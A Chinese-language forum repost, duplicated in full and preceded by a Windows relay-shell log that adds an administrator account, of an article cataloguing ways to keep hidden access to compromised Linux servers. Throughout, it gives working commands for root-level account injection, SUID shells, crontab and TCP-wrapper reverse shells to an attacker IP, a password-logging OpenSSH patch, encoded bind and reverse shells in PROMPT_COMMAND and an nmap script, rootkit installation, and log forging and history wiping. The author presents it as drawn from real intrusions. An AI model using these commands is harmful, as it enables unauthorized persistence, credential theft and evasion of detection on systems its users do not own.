Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$

Reference(侵删):

我所了解的渗透测试——Linux后门类型

kakaxi 发表了文章 • 0 个评论 • 212 次浏览 • 2018-09-04 19:33 • 来自相关话题

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell**
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内枋模块(LKM)

 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功
跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd
修改密码失败echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令
试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:

supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU

对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
 alias 后门
当前用户目录下.bashrcalias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspxwget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门
vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码
/yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
当更新git的时候会触发:
git commit -am "Test"
 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025

 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...

更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh访问目标主机ssh [email]qweqwe@192.168.4[/email].100触发后门

 nmap nse后门
很多linux系统中默认都安装了nmapmkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是access.log``error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog中/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体 查看全部

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

  • 增加超级用户帐号

  • 破解/嗅控用户密码

  • 放置SUID Shell**

  • 利用系统服务程序

  • TCP/UDP/ICMP Shell

  • Crontab定时任务

  • 共享库文件

  • 工具包rootkit

  • 可装载内枋模块(LKM)


 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:
useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功

跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd

修改密码失败
echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令

试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。
[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:


supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU


对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)
ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

 alias 后门
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspx
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码

/
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd

Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1

当更新git的时候会触发:
git commit -am "Test"

 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd      from ip:$SSH_CLIENT   $SSH_TTY"; }`"; }>> /home/pu/login.log'

但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"

Base64解密:
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)

一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025


 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his
 记录保存为录像
scriptreplay demo.time demo.his
 播放记录
